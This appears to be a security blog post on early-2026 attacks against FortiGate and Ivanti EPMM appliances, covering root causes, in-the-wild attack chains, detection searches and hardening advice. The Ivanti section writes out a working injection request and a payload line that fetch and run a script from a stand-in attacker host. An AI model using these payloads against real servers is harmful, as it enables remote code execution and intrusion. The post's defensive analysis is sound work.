The attack completes in seconds. An unauthenticated request hits the FortiCloud SSO endpoint. Within one second, the attacker is logged in as an admin. Within two seconds, the firewall configuration is exported — hashed credentials, VPN tunnels, admin accounts, everything. By second four, a new backdoor admin account exists. By second six, a new VPN profile has been added granting remote access. Then silence.

This is the timeline Arctic Wolf documented in January 2026 when investigating CVE-2026-24858 in the wild. The phrase “within seconds of each other” appears in their incident report. That’s not a slow, manual attacker learning an environment — that’s automation built to mass-compromise every reachable FortiGate on the internet before Fortinet can respond.

Welcome to Q1 2026, where your perimeter device isn’t protecting you from attackers. It is the attacker’s first step inside.

The Numbers Behind the Pattern

This isn’t new, but the acceleration is alarming. The 2025 Verizon DBIR documented an 8x increase in breaches where exploitation of network edge devices was the initial access vector — from 3% of breaches in 2024 to 22% in 2025. VulnCheck’s 2026 State of Exploitation report found that network edge devices (firewalls, VPNs, proxies) topped the list of targeted technology categories with 191 Known Exploited Vulnerabilities in 2025 alone.

Nearly 3 billion malicious sessions were recorded against internet-facing VPNs, routers, and remote access services over a 162-day window in the second half of 2025, according to Help Net Security. These aren’t probes or scanner hits. These are active exploitation attempts.

What’s driving this? Several converging factors:

No EDR on the appliance. Your endpoint detection is sitting on the Windows boxes and Linux servers inside the perimeter. The FortiGate has no equivalent. When an attacker owns the firewall, they’re in the one place you have the least visibility.

Rich post-exploitation value. A compromised firewall gives you exported credentials, full network topology, VPN access, and the ability to selectively pass or block traffic. It’s better than owning a domain controller if your goal is persistent, hard-to-detect access.

Complex, legacy codebases. These appliances run proprietary operating systems built on decades of accumulated C and Bash. The attack surface is enormous and the security review cadence is nowhere near what a modern cloud service gets.

Disclosure doesn’t mean patched. A significant portion of organizational FortiGate and Ivanti deployments lag on patching by weeks or months. Attackers learned to exploit these windows aggressively.

FortiGate CVE-2026-24858: When “Fully Patched” Didn’t Help

The Fortinet story for Q1 2026 begins with December 2025, when CVE-2025-59718 and CVE-2025-59719 were patched — both allowing unauthenticated bypass of FortiCloud SSO via crafted SAML messages. Organizations that care about their security posture applied those patches. The story should have ended there.

It didn’t.

On January 15, 2026, Arctic Wolf began observing a new automated cluster targeting FortiGate devices. The unusual detail: some targeted devices were fully patched against the December 2025 vulnerabilities. Attackers were using a new attack path, one that Fortinet hadn’t discovered yet. Fortinet confirmed this on January 22, locking out two malicious FortiCloud accounts that had been actively exploiting it, and began investigating.

The root cause behind CVE-2026-24858 (CVSS 9.4) is elegant in its simplicity. When FortiCloud SSO is enabled, a FortiGate device can be managed via authentication against the FortiCloud service. The flaw: an attacker with any registered FortiCloud account and device could authenticate to other devices registered to other accounts. The trust relationship between FortiCloud accounts and managed devices was insufficiently isolated.

CWE-288: Authentication Bypass Using an Alternate Path or Channel. Classic.

The practical exploitation flow observed in the wild:

  1. Attacker registers a cheap/throwaway FortiCloud account with a minimal device
  2. Using the SSO trust flaw, they authenticate to a target FortiGate belonging to a different account
  3. Post-login, they export the device configuration file (includes hashed admin credentials)
  4. They create a new admin account with a known password
  5. They configure VPN user accounts and tunnels pointing to attacker-controlled infrastructure
  6. They log out — leaving no trace of the SSO session in normal log views

The stolen configuration files are valuable on their own. FortiOS configuration exports contain hashed service account credentials, LDAP bind configurations (including AD service account details), and full firewall rule sets. Defenders who found that their device was compromised often found that the attackers had extracted enough to establish footholds entirely elsewhere in the network — on endpoints where they did have EDR, but were now authenticating legitimately with stolen credentials.

Fortinet’s response on January 26 was to disable all FortiCloud SSO globally while a patch was prepared — a dramatic step that reflects how bad the situation was. SSO was restored on January 27 with controls in place to isolate account trust. CISA added CVE-2026-24858 to the KEV catalog the same day.

Indicators and Detection

If you run FortiGate devices with FortiCloud SSO enabled, here’s what to look for:

1
2
3
4
5
6
7
8

# Admin accounts created via SSO login (check for unfamiliar account names)
# FortiGate log event types: LOG_ID_ADMIN_CONFIG_CHANGE, LOG_ID_ADMIN_CREATE

# Malicious logins were frequently against [email protected] account
# Malicious SSO logins originated from small number of hosting providers

# Post-compromise: check for new admin accounts, new VPN users/profiles
# Export/review your config NOW and compare against known-good backup

If you find evidence of SSO-based compromise:

  • Treat the device configuration as burned; rotate every credential in it
  • Audit AD for authentication from non-Fortinet source IPs using service accounts extracted from the device config
  • Look for Pulseway or MeshAgent binaries on endpoints — commonly dropped in post-Fortinet lateral movement
  • Reset all VPN user accounts, not just newly created ones (stolen session tokens may still be valid)

Ivanti EPMM CVE-2026-1281 and CVE-2026-1340: Bash Will Outlive Us All

Two weeks after the FortiGate story broke, Ivanti disclosed CVE-2026-1281 and CVE-2026-1340 — twin critical (CVSS 9.8) unauthenticated RCE vulnerabilities in Endpoint Manager Mobile (EPMM), the mobile device management platform formerly known as MobileIron.

The technical root cause is worth understanding because it’s absurd, and because it keeps happening.

Ivanti’s EPMM used Apache’s RewriteMap feature to dispatch URL paths to Bash scripts. Two of those scripts — map-appstore-url and map-aft-store-url — processed URL path parameters including kid, st, et, and h. These parameters were used directly in Bash arithmetic expansions ($(( ... ))).

Here’s why that matters. In Bash, arithmetic expansion will evaluate command substitution if it appears inside a variable reference. So if an attacker can get a variable to hold a string like a[$(curl http://attacker.com/payload | sh)], that command executes when Bash tries to evaluate the array subscript arithmetically. No quoting anywhere in the processing pipeline saved Ivanti here because the shell itself evaluates the expansion before any safe-handling code could run.

The vulnerable endpoint: /mifs/c/appstore/fob/. No authentication required.

The attack chain documented by Telekom Security and watchTowr looked like this:

1
2
3
4
5
6
7
8
9

# Step 1: Trigger the Bash arithmetic injection via crafted kid parameter
GET /mifs/c/appstore/fob/?kid=a[$(curl+http://ATTACKER_IP/s.sh+-o+/tmp/s.sh+&&+sh+/tmp/s.sh)]

# Step 2: Second-stage script downloads web shell
# Typical web shell path: /opt/tomcat/webapps/mifs/slt
# Observed as 401.jsp / 403.jsp in some campaigns

# Step 3: Establish reverse shell or persistent backdoor
# Commonly: reverse TCP over port 443 to blend with TLS traffic

GreyNoise’s analysis of exploitation traffic was illuminating: active exploitation was concentrated from a single bulletproof hosting IP, with the wider published IOC lists pointing largely at scanner infrastructure doing reconnaissance rather than actual compromise. This suggests a relatively small, organized operator running the exploitation campaign rather than broad opportunistic activity — which ironically makes attribution easier but also means they can stay under the radar by not spamming the whole internet.

Affected sectors included state and local government, healthcare, manufacturing, and high-tech companies in the US, Germany, Australia, and Canada. This is the profile of an organization that (a) uses MDM to manage employee devices, (b) exposes the MDM platform to the internet for remote management, and (c) is significant enough to have data worth stealing.

The temporary patch was architecturally telling: Ivanti’s fix for CVE-2026-1281 and CVE-2026-1340 was to replace the vulnerable Bash scripts with compiled Java classes (AFTUrlMapper.java, AppStoreUrlMapper.java). The permanent fix in 12.8.0.0 does the same. Shell scripting in the data path of an internet-facing service is a structural security debt that only gets paid when it blows up.

The Structural Problem Nobody Wants to Acknowledge

If you’ve been in security long enough, you’re experiencing déjà vu. Ivanti had critical EPMM RCEs in 2023 (CVE-2023-35078, CVE-2023-35081). Fortinet has had mass exploitation events in 2022, 2023, 2024, and now 2026. Palo Alto’s PAN-OS had its catastrophic CVE-2024-3400 moment. Cisco IOS XE. Barracuda. The list doesn’t end.

Why does this keep happening to the same vendors?

The appliance model creates a perverse incentive structure. When you buy a FortiGate, you’re buying a black box that Fortinet controls. You can’t run your own EDR on it. You can’t do your own code audits. You can’t deploy your own WAF in front of the management plane. You’re entirely dependent on Fortinet shipping good code and fast patches. When they fail, you’re exposed and helpless.

Disclosure timelines remain broken. The December 2025 FortiGate SAML vulnerabilities were reportedly known to Fortinet before they were disclosed. CVE-2026-24858 was being actively exploited before Fortinet knew it existed. Ivanti’s EPMM vulnerabilities were disclosed “alongside emergency mitigation guidance” — meaning there was no quiet period for defenders to patch before exploitation started. VulnCheck’s 2025 data shows nearly 29% of known exploited vulnerabilities were exploited on or before the day the CVE was published. Defensive patching windows are measured in hours, not days.

Edge devices are internet-facing by design. You can’t put your firewall management interface behind… the firewall. (Well, you can if you have an out-of-band management network, but most organizations don’t.) This makes these devices maximally exposed at the exact moment a new vulnerability drops.

Configuration complexity creates compliance theater. Most organizations have thousands of firewall rules, some dating back a decade. The actual security posture of the device is nearly impossible to audit manually. Attackers who exfiltrate the config can spend weeks studying it and find exploitation paths that the operators themselves don’t know exist.

What You Should Actually Do

This section is the part most articles skip or pad with platitudes. Here’s what matters in practice:

Stop exposing management interfaces to the internet. The single highest-leverage defensive action you can take is putting FortiGate HTTPS management, FortiCloud connectivity, and Ivanti EPMM admin consoles behind a VPN or IP allowlist. “But then how do I manage the device remotely?” Use an OOB management plane, a dedicated management VLAN with separate credentials, or an RDP bastion. Yes, it’s more work. Do it.

Treat your appliance configs as secrets. Export them. Version control them (encrypted). Understand what credentials are embedded. If a device is ever suspected compromised, assume every embedded credential is burned.

Log SSO authentication events. For FortiGate specifically, FortiCloud SSO events should be in your SIEM. Logins from unexpected IP ranges or at unusual hours — especially followed immediately by config changes — should trigger high-priority alerts.

Build a realistic patching SLA for appliances. Not “30 days for critical vulnerabilities.” Given the exploitation pace in 2026, critical network appliance CVEs need to be patched in 72-96 hours. If your change management process can’t do that, you need to fix the process or accept that you’re in the breach notification business.

Network segmentation still matters. The FortiGate and Ivanti compromises this quarter succeeded in causing broad damage primarily at organizations where lateral movement from the compromised appliance was easy. If you’ve done actual segmentation — not just firewall rules but separate credential domains, separate network zones, separate monitoring — a compromised perimeter device becomes a serious incident instead of a catastrophic one.

Monitor for post-exploitation TTPs, not just exploit indicators. By the time an exploit fires, it’s often too late. But the post-exploitation actions are detectable: new admin account creation, config exports, VPN profile modifications, unexpected LDAP bind attempts from appliance IP ranges. These are all things your SIEM can alert on today if you write the rules.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Example Splunk search for FortiGate suspicious admin events
index=firewall sourcetype=fortigate
  (logdesc="User logged in successfully" AND method="forticloud")
| stats count by srcip, user, dstip
| where NOT srcip IN (known_admin_ips)
| sort -count

# Alert on new admin account creation within 60 seconds of SSO login
index=firewall sourcetype=fortigate logdesc="Admin logged in" method="forticloud"
| join type=inner session_id [search index=firewall sourcetype=fortigate logdesc="Object attribute changed" objtype="admin"]
| where abs(_time - login_time) < 60

The Hard Conclusion

Edge devices have become the dominant initial access vector. The combination of maximum internet exposure, minimal internal visibility, rich post-exploitation value, and a vendor ecosystem with a poor track record of proactive security makes them uniquely attractive targets.

The response to CVE-2026-24858 and the Ivanti EPMM campaign should not be “apply the patch and move on.” It should force a conversation about your assumptions. You’ve been treating your firewall as something that protects everything behind it. Attackers have figured out it’s the first thing they should own.

The defenders who come through Q1 2026 intact will be those who assumed their perimeter devices were already compromised and designed their detection, segmentation, and response around that assumption. The ones who trusted their firewall to be secure will be writing incident reports.

Sources and further reading: